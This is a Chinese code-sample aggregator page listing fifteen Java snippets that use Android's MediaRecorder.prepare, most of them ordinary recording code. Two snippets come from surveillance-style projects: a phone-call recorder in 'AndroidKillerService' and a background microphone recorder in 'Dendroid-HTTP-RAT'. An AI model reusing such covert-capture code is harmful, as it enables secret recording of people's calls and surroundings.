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Java MediaRecorder.prepare方法代码示例

本文整理汇总了Java中android.media.MediaRecorder.prepare方法的典型用法代码示例。如果您正苦于以下问题：Java MediaRecorder.prepare方法的具体用法？Java MediaRecorder.prepare怎么用？Java MediaRecorder.prepare使用的例子？那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类android.media.MediaRecorder的用法示例。


在下文中一共展示了MediaRecorder.prepare方法的15个代码示例，这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞，您的评价将有助于系统推荐出更棒的Java代码示例。

示例1: startRecording

import android.media.MediaRecorder; //导入方法依赖的package包/类
public void startRecording() {
    setFileNameAndPath();

    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    mRecorder.setOutputFile(mFilePath);
    mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
    mRecorder.setAudioChannels(1);
    mRecorder.setAudioSamplingRate(44100);
    mRecorder.setAudioEncodingBitRate(192000);

    try {
        mRecorder.prepare();
        mRecorder.start();
        mStartingTimeMillis = System.currentTimeMillis();
    } catch (IOException e) {
        Log.e(LOG_TAG, "prepare() failed");
    }
}
开发者ID:AndroidBoySC，项目名称:Mybilibili，代码行数:21，代码来源:RecordingService.java

示例2: recordVideo

import android.media.MediaRecorder; //导入方法依赖的package包/类
public void recordVideo(VideoStartCallback videoStartCallback, VideoStopCallback videoStopCallback, VideoErrorCallback videoErrorCallback) {
    try {
        this.videoStartCallback = videoStartCallback;
        this.videoStopCallback = videoStopCallback;
        this.videoErrorCallback = videoErrorCallback;
        if(mCameraDevice == null || !mTextureView.isAvailable() || mPreviewSize == null){
            this.videoErrorCallback.onVideoError("Camera not ready.");
            return;
        }
        videoFile = Environment.getExternalStorageDirectory() + "/" + formatter.format(new Date()) + ".mp4";
        mMediaRecorder = new MediaRecorder();
        //mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.SURFACE);
        mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mMediaRecorder.setOutputFile(videoFile);
        mMediaRecorder.setVideoEncodingBitRate(10000000);
        mMediaRecorder.setVideoFrameRate(30);
        mMediaRecorder.setVideoSize(mVideoSize.getWidth(), mVideoSize.getHeight());
        mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);
        //mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
        if(swappedDimensions) {
            mMediaRecorder.setOrientationHint(INVERSE_ORIENTATIONS.get(mDisplayOrientation));
        } else {
            mMediaRecorder.setOrientationHint(ORIENTATIONS.get(mDisplayOrientation));
        }
        mMediaRecorder.prepare();
        closePreviewSession();
        createCameraRecordSession();
    } catch(IOException ex) {
        Log.d(TAG, ex.getMessage());
    }
}
开发者ID:EzequielAdrianM，项目名称:Camera2Vision，代码行数:33，代码来源:Camera2Source.java

示例3: startRecording

import android.media.MediaRecorder; //导入方法依赖的package包/类
public static void startRecording(Context context, MediaRecorder recorder, String word) {
    recorder.reset();
    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    recorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
    recorder.setMaxDuration(10000);
    recorder.setAudioSamplingRate(16000);
    recorder.setAudioEncodingBitRate(16000*4*1);
    recorder.setAudioSamplingRate(44100);
    recorder.setAudioChannels(1);
    recorder.setOutputFile(context.getFilesDir().getAbsolutePath() + "/" + word + ".aac");
    try {
        recorder.prepare();
    } catch (IOException e) {
        e.printStackTrace();
    }
    recorder.start();
}
开发者ID:Cesarsk，项目名称:Say_it，代码行数:19，代码来源:UtilityRecordings.java

示例4: recordAudio

import android.media.MediaRecorder; //导入方法依赖的package包/类
static Audio recordAudio(UQI uqi, long duration) throws IOException {
    List<Integer> amplitudes = new ArrayList<>();

    MediaRecorder recorder = new MediaRecorder();
    recorder.setAudioSource(Globals.AudioConfig.audioSource);
    recorder.setOutputFormat(Globals.AudioConfig.outputFormat);
    recorder.setAudioEncoder(Globals.AudioConfig.audioEncoder);

    String audioPath = "temp/audio_" + TimeUtils.getTimeTag() + ".amr";
    File tempAudioFile = StorageUtils.getValidFile(uqi.getContext(), audioPath, false);
    recorder.setOutputFile(tempAudioFile.getAbsolutePath());

    recorder.prepare();
    recorder.start();   // Recording is now started

    long startTime = System.currentTimeMillis();
    while (true) {
        long currentTime = System.currentTimeMillis();
        if (currentTime - startTime > duration) {
            break;
        }
        amplitudes.add(recorder.getMaxAmplitude());
    }

    recorder.stop();
    recorder.reset();   // You can reuse the object by going back to setAudioSource() step
    recorder.release(); // Now the object cannot be reused

    AudioData audioData = AudioData.newTempRecord(tempAudioFile, amplitudes);

    return new Audio(startTime, audioData);
}
开发者ID:PrivacyStreams，项目名称:PrivacyStreams，代码行数:33，代码来源:AudioRecorder.java

示例5: startRecording

import android.media.MediaRecorder; //导入方法依赖的package包/类
public void startRecording() {
    if (this.paras.isTonghualuyin()) {
        try {
            mediaRecorder = new MediaRecorder();
            mediaRecorder.setAudioSource(4);
            mediaRecorder.setAudioSamplingRate(16000);
            mediaRecorder.setOutputFormat(3);
            mediaRecorder.setAudioEncoder(1);
            mediaRecorder.setOutputFile(this.file.getAbsolutePath());
            mediaRecorder.prepare();
            mediaRecorder.start();
            this.isRecord = true;
        } catch (Exception e) {
            this.isRecord = false;
            mediaRecorder.reset();
            mediaRecorder.release();
            mediaRecorder = null;
        }
    }
}
开发者ID:JamesLiAndroid，项目名称:AndroidKillerService，代码行数:21，代码来源:PhoneService.java

示例6: initMediaRecorder

import android.media.MediaRecorder; //导入方法依赖的package包/类
private void initMediaRecorder() {
    try {
        mediaRecorder = new MediaRecorder();
        mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.DEFAULT);
        mediaRecorder.setAudioSamplingRate(44100);
        mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
        mediaRecorder.setAudioEncodingBitRate(96000);
        Date currentTime = new Date();
        SimpleDateFormat dateFormat = new SimpleDateFormat("yyyyMMddhhmmss");
        fileName = dateFormat.format(currentTime) + ".m4a";
        File audioFile = new File(getCacheDir().getAbsolutePath() + "/" + fileName);  // FIXED: 路径待确定
        Log.i("nib", audioFile.getAbsolutePath());
        mediaRecorder.setOutputFile(audioFile.getAbsolutePath());
        mediaRecorder.prepare();
        mediaRecorder.start();
    } catch (IOException e) {
        e.printStackTrace();
    }
}
开发者ID:hgs1217，项目名称:Paper-Melody，代码行数:21，代码来源:PlayActivity.java

示例7: getRecorder

import android.media.MediaRecorder; //导入方法依赖的package包/类
private void getRecorder() {
    recorder = new MediaRecorder();
    //麦克风
    recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    //设置格式 3GP
    recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
    //设置保存目录 权限
    recorder.setOutputFile("sdcard/audio.3gp");
    //设置音频编码
    recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

    try {
        //准备录音
        recorder.prepare();
    } catch (IOException e) {
        e.printStackTrace();
    }
}
开发者ID:wuhighway，项目名称:DailyStudy，代码行数:19，代码来源:MyService.java

示例8: startRecording

import android.media.MediaRecorder; //导入方法依赖的package包/类
private void startRecording() {
    audioRec = new MediaRecorder();
    audioRec.setAudioSource(MediaRecorder.AudioSource.MIC);
    audioRec.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    audioRec.setOutputFile(audioFilePath);
    audioRec.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    audioRec.setAudioSamplingRate(256);
    try {
        audioRec.prepare();
        audioRec.start();
    } catch (IOException e) {
        e.printStackTrace();
    }
}
开发者ID:gvsucis，项目名称:mobile-app-dev-book，代码行数:15，代码来源:AudioActivity.java

示例9: RecordingController

import android.media.MediaRecorder; //导入方法依赖的package包/类
RecordingController(String savedRecording) throws IOException {
  // pick a pathname if none was specified
  file = (savedRecording.equals("")) ?
      FileUtil.getRecordingFile("3gp").getAbsolutePath() :
        savedRecording;

  recorder = new MediaRecorder();
  recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
  recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
  recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
  Log.i(TAG, "Setting output file to " + file);
  recorder.setOutputFile(file);
  Log.i(TAG, "preparing");
  recorder.prepare();
  recorder.setOnErrorListener(SoundRecorder.this);
  recorder.setOnInfoListener(SoundRecorder.this);
}
开发者ID:mit-cml，项目名称:appinventor-extensions，代码行数:18，代码来源:SoundRecorder.java

示例10: startRecording

import android.media.MediaRecorder; //导入方法依赖的package包/类
public void startRecording() {

        setFileNameAndPath();

        mRecorder = new MediaRecorder();
        mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
        mRecorder.setOutputFile(mFilePath);
        mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);

        try {
            mRecorder.prepare();
            mRecorder.start();
            mStartingTimeMillis = System.currentTimeMillis();

            //startTimer();
            //startForeground(1, createNotification());

        } catch (IOException e) {
            Log.e(LOG_TAG, "prepare() failed");
        }
    }
开发者ID:tortuvshin，项目名称:health，代码行数:23，代码来源:RecordingService.java

示例11: prepare

import android.media.MediaRecorder; //导入方法依赖的package包/类
public void prepare() throws IOException {
    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);
    mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AAC);
    mRecorder.setAudioSamplingRate(44100);
    mRecorder.setAudioEncodingBitRate(96000);
    mRecorder.setOutputFile(mFilePath);
    mRecorder.prepare();
}
开发者ID:PhoenixDevTeam，项目名称:Phoenix-for-VK，代码行数:11，代码来源:Recorder.java

示例12: initRecord

import android.media.MediaRecorder; //导入方法依赖的package包/类
private void initRecord() {
        try {
            mMediaRecorder = new MediaRecorder();
            mMediaRecorder.reset();
            mMediaRecorder.setCamera(mCamera);
            mMediaRecorder.setOnErrorListener(this);
            mMediaRecorder.setPreviewDisplay(mSurfaceHolder.getSurface());
            mMediaRecorder.setVideoSource(MediaRecorder.VideoSource.CAMERA);//视频源
            mMediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);//音频源
            mMediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.MPEG_4);//视频输出格式 也可设为3gp等其他格式
            mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);//音频格式
            mMediaRecorder.setVideoSize(mWidthPixel, mHeightPixel);//设置分辨率
//        mMediaRecorder.setVideoFrameRate(25);// 设置每秒帧数 这个设置有可能会出问题，有的手机不支持这种帧率就会录制失败，这里使用默认的帧率，当然视频的大小肯定会受影响
            if (mPictureSize < 3000000) {//这里设置可以调整清晰度
                mMediaRecorder.setVideoEncodingBitRate(3 * 1024 * 512);
            } else if (mPictureSize <= 5000000) {
                mMediaRecorder.setVideoEncodingBitRate(2 * 1024 * 512);
            } else {
                mMediaRecorder.setVideoEncodingBitRate(1 * 1024 * 512);
            }
            mMediaRecorder.setOrientationHint(90);//输出旋转90度，保持竖屏录制
            mMediaRecorder.setVideoEncoder(MediaRecorder.VideoEncoder.H264);//视频录制格式
            //mMediaRecorder.setMaxDuration(Constant.MAXVEDIOTIME * 1000);
            mMediaRecorder.setOutputFile(mRecordFile.getAbsolutePath());
            mMediaRecorder.prepare();
        } catch (Exception e) {
            e.printStackTrace();
            releaseCamera();
        }
    }
开发者ID:mChenys，项目名称:AndroidFFmpegCompress，代码行数:31，代码来源:RecordView.java

示例13: startRecording

import android.media.MediaRecorder; //导入方法依赖的package包/类
public void startRecording() {
    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
    String filePath = FileUtils.createFile(mFileFullName);
    mRecorder.setOutputFile(filePath);
    mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
    try {
        mRecorder.prepare();
        mRecorder.start();
    } catch (Exception e) {
        Log.e(TAG, "prepare() failed");
    }
}
开发者ID:WorldBank-Transport，项目名称:RoadLab-Pro，代码行数:15，代码来源:VoiceRecordPlayer.java

示例14: startRecording

import android.media.MediaRecorder; //导入方法依赖的package包/类
private void startRecording() {
    releaseRecorder();

    mRecorder = new MediaRecorder();
    mRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
    mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);

    mRecordFileOutput = getAudioFilename();

    //TODO: check disk space left?
    mRecorder.setOutputFile(mRecordFileOutput.getPath());
    mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

    try {
        mRecorder.prepare();
    } catch(IOException e) {
        releaseRecorder();
        //TODO: show popup for failure?
        Log.e(TAG, e.toString());
        return;
    }

    mRecorder.start();
    mIsRecording = true;

    //UI update
    chronometer.setBase(SystemClock.elapsedRealtime());
    chronometer.start();

    filenameTxt.setText(mRecordFileOutput.getName());
    imageMic.setImageDrawable(drawable_mic_on);
}
开发者ID:Samsung，项目名称:microbit，代码行数:33，代码来源:AudioRecorderActivity.java

示例15: doInBackground

import android.media.MediaRecorder; //导入方法依赖的package包/类
@Override
  protected String doInBackground(String... params) {     
   	MediaRecorder recorder = new MediaRecorder();;

  SimpleDateFormat sdf = new SimpleDateFormat("yyyy_MM_dd_HH_mm");
       String currentDateandTime = sdf.format(new Date());
       
       String filename =currentDateandTime + ".3gp";

       File diretory = new File(PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("File", "") + File.separator + "Audio");
       diretory.mkdirs();
    	File outputFile = new File(diretory, filename);
       
     recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
     recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
     recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
     recorder.setMaxDuration(Integer.parseInt(i));
     recorder.setMaxFileSize(1000000);
     recorder.setOutputFile(outputFile.toString());

 try 
    {
       recorder.prepare();
       recorder.start();
    } catch (IOException e) {
       Log.i("com.connect", "io problems while preparing");
      e.printStackTrace();
    }		   
return "Executed";
  }
开发者ID:mwsrc，项目名称:Dendroid-HTTP-RAT，代码行数:31，代码来源:MyService.java


注：本文中的android.media.MediaRecorder.prepare方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台，相关代码片段筛选自各路编程大神贡献的开源项目，源码版权归原作者所有，传播和使用请参考对应项目的License；未经允许，请勿转载。